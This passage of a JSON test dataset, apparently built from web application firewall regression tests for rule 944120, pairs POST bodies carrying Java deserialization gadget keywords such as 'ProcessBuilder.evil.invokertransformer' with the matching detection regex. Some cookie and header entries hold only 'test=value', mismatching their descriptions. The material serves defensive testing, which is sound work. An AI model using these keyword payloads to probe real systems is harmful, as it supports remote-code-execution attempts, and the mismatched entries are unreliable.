"REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.clonetransformer\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.clonetransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.clonetransformer</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.forclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.forclosure=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.forclosure attribute_name=\"attribute_value\">value</ProcessBuilder.evil.forclosure></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.forclosure=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.forclosure\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.forclosure</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.forclosure</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.forclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.forclosure\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.forclosure\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.forclosure\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.forclosure\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.forclosure</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.forclosure</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.instantiatefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument test includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ProcessBuilder.evil.instantiatefactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.instantiatefactory attribute_name=\"attribute_value\">value</ProcessBuilder.evil.instantiatefactory></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.instantiatefactory=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": 